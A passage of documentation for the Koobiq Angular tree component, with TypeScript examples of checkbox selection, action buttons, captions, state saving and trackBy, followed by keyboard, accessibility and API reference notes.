            'publish-docs-preview': 'ts'
        },
        'tsconfig.deploy': 'json'
    },
    tests: ''
};

@Component({
    selector: 'tree-multiple-checkbox-example',
    imports: [
        KbqTreeModule,
        FormsModule,
        KbqIconModule
    ],
    template: `
        <kbq-tree-selection
            multiple="checkbox"
            [dataSource]="dataSource"
            [treeControl]="treeControl"
            [(ngModel)]="modelValue"
        >
            <kbq-tree-option *kbqTreeNodeDef="let node" kbqTreeNodePadding [disabled]="node.name === 'tests'">
                <i kbq-icon="kbq-circle-info_16"></i>

                <span [innerHTML]="treeControl.getViewValue(node)"></span>
            </kbq-tree-option>

            <kbq-tree-option *kbqTreeNodeDef="let node; when: hasChild" kbqTreeNodePadding>
                <i kbq-icon="kbq-circle-info_16"></i>

                <kbq-tree-node-toggle [node]="node" />

                <span [innerHTML]="treeControl.getViewValue(node)"></span>
            </kbq-tree-option>
        </kbq-tree-selection>
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class TreeMultipleCheckboxExample {
    treeControl: FlatTreeControl<FileFlatNode>;
    treeFlattener: KbqTreeFlattener<FileNode, FileFlatNode>;

    dataSource: KbqTreeFlatDataSource<FileNode, FileFlatNode>;

    modelValue: any = [];

    constructor() {
        this.treeFlattener = new KbqTreeFlattener(this.transformer, this.getLevel, this.isExpandable, this.getChildren);

        this.treeControl = new FlatTreeControl<FileFlatNode>(
            this.getLevel,
            this.isExpandable,
            this.getValue,
            this.getViewValue
        );
        this.dataSource = new KbqTreeFlatDataSource(this.treeControl, this.treeFlattener);

        this.dataSource.data = buildFileTree(DATA_OBJECT, 0);
    }

    hasChild(_: number, nodeData: FileFlatNode) {
        return nodeData.expandable;
    }

    private transformer = (node: FileNode, level: number, parent: any) => {
        const flatNode = new FileFlatNode();

        flatNode.name = node.name;
        flatNode.parent = parent;
        flatNode.type = node.type;
        flatNode.level = level;
        flatNode.expandable = !!node.children;

        return flatNode;
    };

    private getLevel = (node: FileFlatNode) => {
        return node.level;
    };

    private isExpandable = (node: FileFlatNode) => {
        return node.expandable;
    };

    private getChildren = (node: FileNode): FileNode[] => {
        return node.children;
    };

    private getValue = (node: FileFlatNode): string => {
        return node.name;
    };

    private getViewValue = (node: FileFlatNode): string => {
        const nodeType = node.type ? `.${node.type}` : '';

        return `${node.name}${nodeType}`;
    };
}
```

The mode is set by `multiple`: `checkbox` or `keyboard` for multiple selection. Single selection is the
default, so the way to ask for it is to leave the attribute off entirely. It is a normal input, so `[multiple]` can be bound and changed at any time. Narrowing a
tree that has several nodes selected keeps the first selected one and reports the shortened value; the
reported value is a bare value in single selection and an array in multiple selection, so a change of mode
changes the shape the form control holds. A tree rendered inside a `kbq-tree-select` shares its selection
model with the select, so the select decides how many nodes may be selected — switching the tree between
single and multiple selection there throws, while switching between `checkbox` and `keyboard` is allowed.

Note that this applies to `kbq-tree-selection` and `kbq-list-selection` only. On
[Select](https://koobiq.io/en/components/select.md) and `kbq-tree-select`, `multiple` still cannot be changed after
initialization and throws if you try.

##### Additional action button

Sometimes an additional action button may be present for an item.

**Example: Tree action button** (`tree-action-button`)

```ts tree-action-button-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { FormsModule } from '@angular/forms';
import { KbqBadgeModule } from '@koobiq/components/badge';
import { KbqOptionModule, PopUpPlacements } from '@koobiq/components/core';
import { KbqDropdownModule } from '@koobiq/components/dropdown';
import { KbqIconModule } from '@koobiq/components/icon';
import { KbqToolTipModule } from '@koobiq/components/tooltip';
import { FlatTreeControl, KbqTreeFlatDataSource, KbqTreeFlattener, KbqTreeModule } from '@koobiq/components/tree';

export class FileNode {
    children: FileNode[];
    name: string;
    type: any;
}

/** Flat node with expandable and level information */
export class FileFlatNode {
    name: string;
    type: any;
    level: number;
    expandable: boolean;
    parent: any;
}

/**
 * Build the file structure tree. The `value` is the Json object, or a sub-tree of a Json object.
 * The return value is the list of `FileNode`.
 */
export function buildFileTree(value: any, level: number): FileNode[] {
    const data: any[] = [];

    for (const k of Object.keys(value)) {
        const v = value[k];
        const node = new FileNode();

        node.name = `${k}`;

        if (v === null || v === undefined) {
            // no action
        } else if (typeof v === 'object') {
            node.children = buildFileTree(v, level + 1);
        } else {
            node.type = v;
        }

        data.push(node);
    }

    return data;
}

export const DATA_OBJECT = {
    docs: 'app',
    src: {
        cdk: {
            a11ly: {
                'aria describer': {
                    'aria-describer': 'ts',
                    'aria-describer.spec': 'ts',
                    'aria-reference': 'ts',
                    'aria-reference.spec': 'ts'
                },
                'focus monitor': {
                    'focus-monitor': 'ts',
                    'focus-monitor.spec': 'ts'
                }
            }
        },
        documentation: {
            source: '',
            tools: ''
        },
        mosaic: {
            autocomplete: '',
            button: '',
            'button-toggle': '',
            index: 'ts',
            package: 'json',
            version: 'ts'
        },
        'components-dev': {
            alert: '',
            badge: ''
        },
        'koobiq-examples': '',
        'koobiq-moment-adapter': '',
        README: 'md',
        'tsconfig.build': 'json'
    },
    scripts: {
        deploy: {
            'cleanup-preview': 'ts',
            'publish-artifacts': 'sh',
            'publish-docs': 'sh',
            'publish-docs-preview': 'ts'
        },
        'tsconfig.deploy': 'json'
    },
    tests: ''
};

@Component({
    selector: 'tree-action-button-example',
    imports: [
        KbqTreeModule,
        FormsModule,
        KbqToolTipModule,
        KbqDropdownModule,
        KbqIconModule,
        KbqOptionModule,
        KbqBadgeModule
    ],
    template: `
        <kbq-tree-selection
            style="width: 400px"
            [autoSelect]="false"
            [dataSource]="dataSource"
            [treeControl]="treeControl"
            [(ngModel)]="modelValue"
            (selectAllChange)="onSelectAllChange($event)"
        >
            <kbq-tree-option *kbqTreeNodeDef="let node" kbqTreeNodePadding [disabled]="node.name === 'tests'">
                <i kbq-icon="kbq-circle-info_16"></i>

                <div class="layout-row layout-align-space-between-center">
                    <span [innerHTML]="treeControl.getViewValue(node)"></span>
                    <kbq-badge badgeColor="theme" [compact]="true">badge</kbq-badge>
                </div>

                <kbq-option-action
                    [kbqDropdownTriggerFor]="dropdown"
                    [kbqPlacement]="popUpPlacements.Right"
                    [kbqTooltip]="'Tooltip text'"
                />
            </kbq-tree-option>

            <kbq-tree-option *kbqTreeNodeDef="let node; when: hasChild" kbqTreeNodePadding>
                <i kbq-icon="kbq-circle-info_16"></i>

                <kbq-tree-node-toggle [node]="node" />

                <div class="layout-row layout-align-space-between-center">
                    <span [innerHTML]="treeControl.getViewValue(node)"></span>
                    <kbq-badge badgeColor="theme" [compact]="true">badge</kbq-badge>
                </div>

                <kbq-option-action
                    [kbqDropdownTriggerFor]="dropdown"
                    [kbqPlacement]="popUpPlacements.Right"
                    [kbqTooltip]="'Tooltip text'"
                />
            </kbq-tree-option>
        </kbq-tree-selection>

        <kbq-dropdown #dropdown>
            <button kbq-dropdown-item>action 1</button>
            <button kbq-dropdown-item>action 2</button>
            <button kbq-dropdown-item>action 3</button>
        </kbq-dropdown>
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class TreeActionButtonExample {
    popUpPlacements = PopUpPlacements;

    treeControl: FlatTreeControl<FileFlatNode>;
    treeFlattener: KbqTreeFlattener<FileNode, FileFlatNode>;

    dataSource: KbqTreeFlatDataSource<FileNode, FileFlatNode>;

    modelValue: any = '';

    constructor() {
        this.treeFlattener = new KbqTreeFlattener(this.transformer, this.getLevel, this.isExpandable, this.getChildren);

        this.treeControl = new FlatTreeControl<FileFlatNode>(
            this.getLevel,
            this.isExpandable,
            this.getValue,
            this.getViewValue
        );
        this.dataSource = new KbqTreeFlatDataSource(this.treeControl, this.treeFlattener);

        this.dataSource.data = buildFileTree(DATA_OBJECT, 0);
    }

    hasChild(_: number, nodeData: FileFlatNode) {
        return nodeData.expandable;
    }

    onSelectAllChange($event) {
        console.log('All items selected', $event);
    }

    private transformer = (node: FileNode, level: number, parent: any) => {
        const flatNode = new FileFlatNode();

        flatNode.name = node.name;
        flatNode.parent = parent;
        flatNode.type = node.type;
        flatNode.level = level;
        flatNode.expandable = !!node.children;

        return flatNode;
    };

    private getLevel = (node: FileFlatNode) => {
        return node.level;
    };

    private isExpandable = (node: FileFlatNode) => {
        return node.expandable;
    };

    private getChildren = (node: FileNode): FileNode[] => {
        return node.children;
    };

    private getValue = (node: FileFlatNode): string => {
        return node.name;
    };

    private getViewValue = (node: FileFlatNode): string => {
        const nodeType = node.type ? `.${node.type}` : '';

        return `${node.name}${nodeType}`;
    };
}
```

##### Caption in options

**Example: tree-select-two-line-option** (`tree-select-two-line-option`)

```ts tree-select-two-line-option-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { FormsModule } from '@angular/forms';
import { KbqIconModule } from '@koobiq/components/icon';
import { FlatTreeControl, KbqTreeFlatDataSource, KbqTreeFlattener, KbqTreeModule } from '@koobiq/components/tree';
import { KbqTreeSelectModule } from '@koobiq/components/tree-select';

export class FileNode {
    children: FileNode[];
    name: string;
    type: any;
}

/** Flat node with expandable and level information */
export class FileFlatNode {
    name: string;
    type: any;
    level: number;
    expandable: boolean;
    parent: any;
}

/**
 * Build the file structure tree. The `value` is the Json object, or a sub-tree of a Json object.
 * The return value is the list of `FileNode`.
 */
export function buildFileTree(value: any, level: number): FileNode[] {
    const data: any[] = [];

    for (const k of Object.keys(value)) {
        const v = value[k];
        const node = new FileNode();

        node.name = `${k}`;

        if (v === null || v === undefined) {
            // no action
        } else if (typeof v === 'object') {
            node.children = buildFileTree(v, level + 1);
        } else {
            node.type = v;
        }

        data.push(node);
    }

    return data;
}

export const DATA_OBJECT = {
    docs: 'app',
    src: {
        cdk: {
            a11ly: {
                'aria describer': {
                    'aria-describer': 'ts',
                    'aria-describer.spec': 'ts',
                    'aria-reference': 'ts',
                    'aria-reference.spec': 'ts'
                },
                'focus monitor': {
                    'focus-monitor': 'ts',
                    'focus-monitor.spec': 'ts'
                }
            }
        },
        documentation: {
            source: '',
            tools: ''
        },
        mosaic: {
            autocomplete: '',
            button: '',
            'button-toggle': '',
            index: 'ts',
            package: 'json',
            version: 'ts'
        },
        'components-dev': {
            alert: '',
            badge: ''
        },
        'koobiq-examples': '',
        'koobiq-moment-adapter': '',
        README: 'md',
        'tsconfig.build': 'json'
    },
    scripts: {
        deploy: {
            'cleanup-preview': 'ts',
            'publish-artifacts': 'sh',
            'publish-docs': 'sh',
            'publish-docs-preview': 'ts'
        },
        'tsconfig.deploy': 'json'
    },
    tests: ''
};

@Component({
    selector: 'tree-select-two-line-option-example',
    imports: [FormsModule, KbqTreeModule, KbqTreeSelectModule, KbqIconModule],
    template: `
        <kbq-form-field>
            <kbq-tree-select multiple [(ngModel)]="selected">
                <kbq-tree-selection [dataSource]="dataSource" [treeControl]="treeControl">
                    <kbq-tree-option *kbqTreeNodeDef="let node" kbqTreeNodePadding>
                        <div>{{ treeControl.getViewValue(node) }}</div>
                        <div class="kbq-option-caption">caption</div>
                    </kbq-tree-option>

                    <kbq-tree-option *kbqTreeNodeDef="let node; when: hasChild" kbqTreeNodePadding>
                        <kbq-tree-node-toggle [node]="node" />
                        <div>{{ treeControl.getViewValue(node) }}</div>
                        <div class="kbq-option-caption">caption</div>
                    </kbq-tree-option>
                </kbq-tree-selection>
            </kbq-tree-select>
        </kbq-form-field>
    `,
    styles: `
        :host {
            display: flex;
            justify-content: center;
            padding: var(--kbq-size-l);
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class TreeSelectTwoLineOptionExample {
    selected = ['docs'];

    treeControl: FlatTreeControl<FileFlatNode>;
    treeFlattener: KbqTreeFlattener<FileNode, FileFlatNode>;

    dataSource: KbqTreeFlatDataSource<FileNode, FileFlatNode>;

    constructor() {
        this.treeFlattener = new KbqTreeFlattener(this.transformer, this.getLevel, this.isExpandable, this.getChildren);

        this.treeControl = new FlatTreeControl<FileFlatNode>(
            this.getLevel,
            this.isExpandable,
            this.getValue,
            this.getViewValue
        );
        this.dataSource = new KbqTreeFlatDataSource(this.treeControl, this.treeFlattener);

        this.dataSource.data = buildFileTree(DATA_OBJECT, 0);
    }

    hasChild(_: number, nodeData: FileFlatNode) {
        return nodeData.expandable;
    }

    private transformer = (node: FileNode, level: number, parent: any) => {
        const flatNode = new FileFlatNode();

        flatNode.name = node.name;
        flatNode.parent = parent;
        flatNode.type = node.type;
        flatNode.level = level;
        flatNode.expandable = !!node.children;

        return flatNode;
    };

    private getLevel = (node: FileFlatNode) => {
        return node.level;
    };

    private isExpandable = (node: FileFlatNode) => {
        return node.expandable;
    };

    private getChildren = (node: FileNode): FileNode[] => {
        return node.children;
    };

    private getValue = (node: FileFlatNode): string => {
        return node.name;
    };

    private getViewValue = (node: FileFlatNode): string => {
        return `${node.name} view`;
    };
}
```

#### Multiple selection variants

There are several variants for multiple item selection. [See in examples](https://koobiq.io/en/components/tree.md).

#### State Saving

The tree remembers which nodes were expanded and restores the state after a page reload. On by default — use `[useStateSaving]="false"` to turn it off on a specific component.

**Example: Tree state saving** (`tree-state-saving`)

```ts tree-state-saving-example.ts
import { ChangeDetectionStrategy, Component, viewChild } from '@angular/core';
import { KbqButtonModule } from '@koobiq/components/button';
import {
    FlatTreeControl,
    KbqTreeFlatDataSource,
    KbqTreeFlattener,
    KbqTreeModule,
    KbqTreeSelection
} from '@koobiq/components/tree';

export class FileNode {
    children: FileNode[];
    name: string;
    type: any;
}

/** Flat node with expandable and level information */
export class FileFlatNode {
    name: string;
    type: any;
    level: number;
    expandable: boolean;
    parent: any;
}

export function buildFileTree(value: any, level: number): FileNode[] {
    const data: any[] = [];

    for (const k of Object.keys(value)) {
        const v = value[k];
        const node = new FileNode();

        node.name = `${k}`;

        if (v === null || v === undefined) {
            // no action
        } else if (typeof v === 'object') {
            node.children = buildFileTree(v, level + 1);
        } else {
            node.type = v;
        }

        data.push(node);
    }

    return data;
}

export const DATA_OBJECT = {
    Documents: {
        'Delivery terms': 'pdf',
        'Payment terms': 'pdf'
    },
    Pictures: {
        Sun: 'png',
        Woods: 'jpg'
    },
    Downloads: {
        November: 'pdf',
        October: 'pdf'
    }
};

@Component({
    selector: 'tree-state-saving-example',
    imports: [
        KbqTreeModule,
        KbqButtonModule
    ],
    template: `
        <div class="layout-column layout-align-center-center docs-example-vertical-margin">
            <kbq-tree-selection
                stateSavingKey="tree-state-saving-example"
                style="width: 300px"
                [dataSource]="dataSource"
                [treeControl]="treeControl"
            >
                <kbq-tree-option *kbqTreeNodeDef="let node" kbqTreeNodePadding>
                    {{ treeControl.getViewValue(node) }}
                </kbq-tree-option>

                <kbq-tree-option *kbqTreeNodeDef="let node; when: hasChild" kbqTreeNodePadding>
                    <kbq-tree-node-toggle [node]="node" />
                    {{ treeControl.getViewValue(node) }}
                </kbq-tree-option>
            </kbq-tree-selection>

            <button kbq-button class="layout-margin-top-l" type="button" (click)="tree().clearSavedState()">
                Reset saved state
            </button>
        </div>
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class TreeStateSavingExample {
    protected readonly tree = viewChild.required(KbqTreeSelection);

    treeControl: FlatTreeControl<FileFlatNode>;
    treeFlattener: KbqTreeFlattener<FileNode, FileFlatNode>;

    dataSource: KbqTreeFlatDataSource<FileNode, FileFlatNode>;

    constructor() {
        this.treeFlattener = new KbqTreeFlattener(this.transformer, this.getLevel, this.isExpandable, this.getChildren);

        this.treeControl = new FlatTreeControl<FileFlatNode>(
            this.getLevel,
            this.isExpandable,
            this.getValue,
            this.getViewValue
        );
        this.dataSource = new KbqTreeFlatDataSource(this.treeControl, this.treeFlattener);

        this.dataSource.data = buildFileTree(DATA_OBJECT, 0);
    }

    hasChild(_: number, nodeData: FileFlatNode) {
        return nodeData.expandable;
    }

    private transformer = (node: FileNode, level: number, parent: any) => {
        const flatNode = new FileFlatNode();

        flatNode.name = node.name;
        flatNode.parent = parent;
        flatNode.type = node.type;
        flatNode.level = level;
        flatNode.expandable = !!node.children;

        return flatNode;
    };

    private getLevel = (node: FileFlatNode) => {
        return node.level;
    };

    private isExpandable = (node: FileFlatNode) => {
        return node.expandable;
    };

    private getChildren = (node: FileNode): FileNode[] => {
        return node.children;
    };

    // The value expansion is persisted under. It must be stable across reloads, and unique within the
    // tree — a node object is re-created whenever the data is replaced, so it cannot serve as the key.
    private getValue = (node: FileFlatNode): string => {
        return node.name;
    };

    private getViewValue = (node: FileFlatNode): string => {
        const nodeType = node.type ? `.${node.type}` : '';

        return `${node.name}${nodeType}`;
    };
}
```

Selection is not persisted: it belongs to the form control the tree is bound to.

Expansion is persisted by the value `getValue` returns for a node, so that value has to be a string, stable across reloads and unique within the tree. A tree on a `NestedTreeControl` has no `getValue` and persists nothing, and neither does one rendered into an overlay — `kbq-tree-select` among them.

Expansion the application performs itself — `treeControl.expandAll()`, or writing to `expansionModel` directly — is not persisted until `saveState()` is called. `clearSavedState()` removes what is stored.

Keys, storage and expiry work the same for every component that persists — see [Saving component state](https://koobiq.io/en/components/core.md#saving-component-state).

#### Focus and keyboard navigation

| Key                   | Action                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  |
| --------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| Tab                   | If focus is on the component preceding the tree in tab order → Move to the first tree row or the selected row If focus is on any tree item and it has no additional actions → Move to the next component in tab order after the tree If focus is on any tree item and it has additional actions → Move to the first additional action If focus is on an item's additional action → Move to the next additional action (if one exists), otherwise move to the next component in tab order after the tree |
| Shift + Tab           | If focus is on any tree item → Move to the previous component in tab order before the tree If focus is on the component following the tree in tab order → Move to the first tree row or the selected row                                                                                                                                                                                                                                                                                                |
| →                     | If focus is on a collapsed non-leaf item → Expand the nested items of that item If focus is on an expanded non-leaf item → Move to its first nested item If focus is on a leaf item → Nothing happens                                                                                                                                                                                                                                                                                                   |
| ←                     | If focus is on an expanded non-leaf item → Collapse the nested items of that item If focus is on a collapsed non-leaf item → Move to its parent item If focus is on a leaf item → Move to its parent item If focus is on a top-level item → Nothing happens                                                                                                                                                                                                                                             |
| ↵                     | If focus is on a tree item → Trigger the primary action of that item If focus is on a tree item with a checkbox → Nothing happens If focus is on an additional action → Apply that additional action                                                                                                                                                                                                                                                                                                    |
| Space                 | If focus is on a tree item with a checkbox → Select that tree item (and all nested items, if any) If focus is on a tree item → Nothing happens If focus is on an additional action → Apply that additional action                                                                                                                                                                                                                                                                                       |
| ↑ ↓                   | If focus is on a tree item → Move to the next (if it is the last item — nothing happens) / previous tree item (if it is the first item — nothing happens)                                                                                                                                                                                                                                                                                                                                               |
| PgUp                  | Move focus to the lowest visible item If the current item is the lowest visible → Scroll the tree down If the current item is the last in the tree → Nothing happens                                                                                                                                                                                                                                                                                                                                    |
| PgDn                  | Move focus to the topmost visible item If the current item is the topmost visible → Scroll the tree up If the current item is the topmost in the tree → Nothing happens                                                                                                                                                                                                                                                                                                                                 |
| Home                  | Move focus to the first tree item                                                                                                                                                                                                                                                                                                                                                                                                                                                                       |
| End                   | Move focus to the last loaded tree item                                                                                                                                                                                                                                                                                                                                                                                                                                                                 |
| Ctrl + click          | Clicking tree items — multiple row selection Clicking a selected item — the item is deselected                                                                                                                                                                                                                                                                                                                                                                                                          |
| Shift + ↓   Shift + ↑ | If focus is on a tree item → Multiple selection of the next / previous tree items (if the row is the first or last — nothing happens)                                                                                                                                                                                                                                                                                                                                                                   |
| Ctrl + C              | If focus is on tree items → Copy the content of the items By default, item names are copied. The separator between items is a line break                                                                                                                                                                                                                                                                                                                                                                |
| Ctrl + A              | If focus is on any tree item → Select all tree items (including unloaded ones)                                                                                                                                                                                                                                                                                                                                                                                                                          |
| Printable characters  | Move focus to the next item whose name starts with the typed characters. Typing several characters in quick succession matches them as one word                                                                                                                                                                                                                                                                                                                                                         |

#### Accessibility

The tree exposes the structure it renders to assistive technology, so a screen reader announces an
item's nesting depth and whether it is expanded, selected or checked.

- The tree is a `role="tree"`, each row a `role="treeitem"`.
- The tab stop stays on the tree itself and the rows stay at `tabindex="-1"`, but the row the arrow
  keys land on does take real focus, and is advertised through `aria-activedescendant` on top of that.
- Branch rows carry `aria-expanded` — including while a filter is active, which disables the chevrons
  without turning the branches into leaves — and every row carries `aria-level`.
- Rows with a checkbox report `aria-checked`, including `mixed` for a partially selected branch; rows
  without one report `aria-selected`.
- Expand/collapse chevrons are hidden from assistive technology: their state is already on the row, and
  the ← and → keys drive them.
- The tree has no visible label of its own, so give it an accessible name with `aria-label`, or point
  `aria-labelledby` at the element that labels it. A tree inside a `kbq-tree-select` is labelled by the
  select and needs neither.

#### Rendering

Every expanded item is rendered, with no windowing — a collapsed branch costs nothing, an expanded one
costs a DOM row per item. A tree that shows thousands of rows at once should keep its branches
collapsed or narrow the data with the search field.

Nodes are tracked by identity by default, so a data source that rebuilds its node objects on every
emission — a flattener among them — rebuilds every row, and a rebuilt node comes back collapsed.
Give the tree control a `trackBy` that returns a stable key of a node: the node is then expanded by that
key, and the tree re-uses the row of the same key across data updates. Set it before anything is
expanded, as a property or in the options, the last argument of `FlatTreeControl` and
`NestedTreeControl`:

**Example: Tree track by** (`tree-track-by`)

```ts tree-track-by-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqButtonModule } from '@koobiq/components/button';
import { FlatTreeControl, KbqTreeFlatDataSource, KbqTreeFlattener, KbqTreeModule } from '@koobiq/components/tree';

type FileTree = { [name: string]: FileTree | string };

class FileNode {
    name: string;
    type?: string;
    children?: FileNode[];
}

class FileFlatNode {
    id: string;
    name: string;
    type?: string;
    level: number;
    expandable: boolean;
}

function buildFileTree(value: FileTree): FileNode[] {
    return Object.keys(value).map((name) => {
        const node = new FileNode();
        const content = value[name];

        node.name = name;

        if (typeof content === 'object') {
            node.children = buildFileTree(content);
        } else {
            node.type = content;
        }

        return node;
    });
}

const DOCUMENTS: FileTree = {
    'Delivery terms': 'pdf',
    'Payment terms': 'pdf'
};

const DATA_OBJECT: FileTree = {
    Documents: DOCUMENTS,
    Pictures: {
        Sun: 'png',
        Woods: 'jpg'
    },
    Downloads: {
        November: 'pdf',
        October: 'pdf'
    }
};

@Component({
    selector: 'tree-track-by-example',
    imports: [
        KbqTreeModule,
        KbqButtonModule
    ],
    template: `
        <div class="layout-column layout-align-center-center docs-example-vertical-margin">
            <kbq-tree-selection style="width: 300px" [dataSource]="dataSource" [treeControl]="treeControl">
                <kbq-tree-option *kbqTreeNodeDef="let node" kbqTreeNodePadding>
                    {{ treeControl.getViewValue(node) }}
                </kbq-tree-option>

                <kbq-tree-option *kbqTreeNodeDef="let node; when: hasChild" kbqTreeNodePadding>
                    <kbq-tree-node-toggle [node]="node" />
                    {{ treeControl.getViewValue(node) }}
                </kbq-tree-option>
            </kbq-tree-selection>

            <button kbq-button class="layout-margin-top-l" type="button" (click)="addDraft()">
                Add a draft to Documents
            </button>
        </div>
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class TreeTrackByExample {
    protected readonly treeControl = new FlatTreeControl<FileFlatNode, string>(
        (node) => node.level,
        (node) => node.expandable,
        (node) => node.id,
        (node) => (node.type ? `${node.name}.${node.type}` : node.name)
    );

    // Every update flattens the data into new node objects: the expanded ones are found by their key.
    protected readonly dataSource = new KbqTreeFlatDataSource(
        this.treeControl,
        new KbqTreeFlattener(
            this.transformer,
            (node) => node.level,
            (node) => node.expandable,
            (node) => node.children
        ),
        buildFileTree(DATA_OBJECT)
    );

    private readonly drafts: FileTree = {};

    constructor() {
        // Before anything is expanded: a key is matched only under the function that stored it.
        this.treeControl.trackBy = (node) => node.id;
    }

    protected hasChild(_: number, node: FileFlatNode): boolean {
        return node.expandable;
    }

    protected addDraft(): void {
        this.drafts[`Draft ${Object.keys(this.drafts).length + 1}`] = 'docx';

        this.dataSource.data = buildFileTree({ ...DATA_OBJECT, Documents: { ...DOCUMENTS, ...this.drafts } });
    }

    private transformer(node: FileNode, level: number, parent: FileFlatNode | null): FileFlatNode {
        const flatNode = new FileFlatNode();

        flatNode.id = parent ? `${parent.id}/${node.name}` : node.name;
        flatNode.name = node.name;
        flatNode.type = node.type;
        flatNode.level = level;
        flatNode.expandable = !!node.children;

        return flatNode;
    }
}
```

`expansionModel` then holds the keys rather than the nodes, and the types of the tree, its events and
its data source take the key type as one more parameter: `KbqTreeSelection<FileFlatNode, string>`,
`KbqTreeFlatDataSource<FileNode, FileFlatNode, string>`.

The tree's own `trackBy` input, a `TrackByFunction` of the index and the node, overrides the key the rows
are re-used by; it does not change the expansion. Without a control `trackBy` it is the only way to
re-use the rows.

### API

#### Components

##### KbqTree (component)

```ts
@Component({ selector: 'kbq-tree', exportAs: 'kbqTree' })
class KbqTree extends KbqTreeBase<any> {
    treeControl = input<C>();
    readonly trackBy = input<TrackByFunction<T>>();
    dataSource = input<DataSource<T> | Observable<T[]> | T[] | null | undefined>();
    get nodeOutlet(): KbqTreeNodeOutlet;
    readonly nodeDefs: Signal<readonly KbqTreeNodeDef<T>[]>;
    viewChange: BehaviorSubject<{ start: number; end: number }>;
    get hasSavedState(): boolean;
    saveState(): void;
    clearSavedState(): void;
    renderNodeChanges(
        data: T[] | ReadonlyArray<T>,
        dataDiffer?: IterableDiffer<T>,
        viewContainer?: ViewContainerRef,
        parentData?: T
    ): void;
    getNodeDef(data: T, i: number): KbqTreeNodeDef<T>;
    insertNode(
        nodeData: T,
        index: number,
        viewContainer?: ViewContainerRef,
        parentData?: T
    ): void;
}
```

- `[useStateSaving]`: `boolean` — Whether the component remembers its state across reloads and restores it on the next render.
  Defaults to `true`, or to whatever `KBQ_STATE_SAVING_ENABLED` is provided as.
- `[stateSavingKey]`: `string` — The key the state is persisted under. While it is empty the key is derived from where the
  component sits in the document, which moves when the surrounding markup is restructured — an `id`
  on the component or any ancestor pins it just as well as this input does.
- `[treeControl]`: `C` — Controls the expanded state and holds the data nodes of the tree.
- `[trackBy]`: `TrackByFunction<T>` — Tracking function that will be used to check the differences in data changes. Used similarly
  to `ngFor` `trackBy` function. Optimize node operations by identifying a node based on its data
  relative to the function to know if a node should be added/removed/moved.
  Accepts a function that takes two parameters, `index` and `item`.

  Views are reused for nodes the function reports as unchanged, which a data source that rebuilds
  its node objects on every emission — a flattener among them — otherwise cannot get.

  Defaults to the `trackBy` of the tree control, read when the tree initializes and when the data source changes.
- `[dataSource]`: `DataSource<T> | Observable<T[]> | T[] | null | undefined` — Provides a stream containing the latest data array to render. Influenced by the tree's
  stream of view window (what dataNodes are currently on screen).
  Data source can be an observable of data array, or a data array to render.
- `nodeOutlet`: `KbqTreeNodeOutlet` — Outlet within the tree's template where the data nodes are inserted.
- `nodeDefs`: `Signal<readonly KbqTreeNodeDef<T>[]>` — The tree node template for the tree
- `viewChange`: `BehaviorSubject<{ start: number; end: number }>` — Stream containing the latest information on what rows are being displayed on screen.
  Can be used by the data source to as a heuristic of what data should be provided.

  The tree renders every expanded node eagerly, so the window is the whole data set; a data source
  cannot use it to page or virtualize. Windowing would have to emit a real range from a scroll
  listener here first.
- `hasSavedState`: `boolean` — Whether state is currently persisted for this tree — restored on init, or written since.
  Always `false` while `useStateSaving` is unset, and `false` again after `clearSavedState()`.
- `saveState()`: `void` — Persists the values of the currently expanded nodes.

  Called for every expansion and collapse a user performs. Expansion driven by the application —
  `treeControl.expandAll()`, or writing to `expansionModel` — is not persisted; call this to record it.

  A no-op while a filter is active: what is expanded then is the result set, not a chosen state.
- `clearSavedState()`: `void` — Removes the state persisted for this tree.

  Persistence itself stays on — the next expansion is written again.
- `renderNodeChanges()`: `void` — Check for changes made in the data and render each change (node added/removed/moved).
- `getNodeDef()`: `KbqTreeNodeDef<T>` — Finds the matching node definition that should be used for this node data. If there is only
  one node definition, it is returned. Otherwise, find the node definition that has a when
  predicate that returns true with the data. If none return true, return the default node
  definition.
- `insertNode()`: `void` — Create the embedded view for the data node template and place it in the correct index location
  within the data node view container.

##### KbqTreeNodeToggleComponent (component)

```ts
@Component({ selector: 'kbq-tree-node-toggle', exportAs: 'kbqTreeNodeToggle' })
class KbqTreeNodeToggleComponent<T> extends KbqTreeNodeToggleBaseDirective<T> {
    readonly node = input<T>();
    readonly recursive = input<boolean>(false, {
        alias: 'kbqTreeNodeToggleRecursive'
    });
    disabled = input<boolean>(false);
    get iconState(): boolean;
    toggle(event: Event): void;
}
```

- `[kbqTreeNodeToggleRecursive]`: `boolean` — Whether toggling expands or collapses the whole subtree instead of the node alone.

##### KbqTreeOption (component)

```ts
@Component({ selector: 'kbq-tree-option', exportAs: 'kbqTreeOption' })
class KbqTreeOption<T = any> extends KbqTreeNode<T> implements KbqTitleTextRef {
    readonly checkboxThirdState = input<boolean>(false);
    disabled = input<boolean>(false);
    readonly selectable = input<boolean>(true);
    showCheckbox = input<boolean | undefined>();
    viewValue = input<string | undefined>();
    readonly selectionChange = output<KbqTreeOptionChange>();
    /** @deprecated */
    readonly onSelectionChange = output<KbqTreeOptionChange>();
    tree: KbqTreeOptionParent<T> & KbqTreeBase<T>;
    readonly onFocus: Observable<KbqTreeOptionEvent>;
    readonly onBlur: Observable<KbqTreeOptionEvent>;
    preventBlur: boolean;
    get parentTextElement(): ElementRef<HTMLElement> | undefined;
    get textElement(): ElementRef<HTMLElement> | undefined;
    readonly toggleElementDirective: Signal<KbqTreeNodeToggleDirective<any> | undefined>;
    readonly toggleElementComponent: Signal<KbqTreeNodeToggleComponent<any> | undefined>;
    readonly pseudoCheckbox: Signal<KbqPseudoCheckbox | undefined>;
    readonly actionButton: Signal<KbqOptionActionComponent | undefined>;
    get tooltipTrigger(): KbqTooltipTrigger | undefined;
    get dropdownTrigger(): KbqDropdownTrigger | undefined;
    get externalPseudoCheckbox(): boolean;
    value: any;
    readonly userInteraction: EventEmitter<void>;
    selected: boolean;
    get id(): string;
    hasFocus: boolean;
    get isExpandable(): boolean;
